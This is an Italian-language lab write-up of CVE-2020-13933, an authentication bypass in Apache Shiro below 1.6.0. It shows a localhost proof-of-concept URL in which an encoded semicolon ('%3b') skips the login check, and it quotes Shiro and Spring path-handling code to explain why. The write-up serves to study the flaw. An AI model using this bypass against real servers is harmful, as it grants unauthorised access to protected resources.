
CVE-2020-13933 Campo di tiro: vulnerabilità di bypass dell'autenticazione di Shiro
shiro < 1.6.0 Vulnerabilità di bypass dell'autenticazione
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/*, viene eseguito un redirect 302 alla pagina di login per l'autenticazioneNameController.java:
/res/{name}: richiede la risorsa denominata name (attiva l'autenticazione)
/res/: non richiede alcuna risorsa (non attiva l'autenticazione)Quando non si specifica un nome di risorsa nella route della richiesta, non viene attivata l'autenticazione e non viene restituita alcuna risorsa: http://127.0.0.1:8080/res/

Quando si specifica un nome di risorsa nella route della richiesta, viene eseguito un redirect 302 alla pagina di autenticazione: http://127.0.0.1:8080/res/poc

Quando si costruisce una specifica richiesta PoC per una risorsa, non viene attivata l'autenticazione e la risorsa viene restituita: http://127.0.0.1:8080/res/%3bpoc (%3b è la codifica URL di ;)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}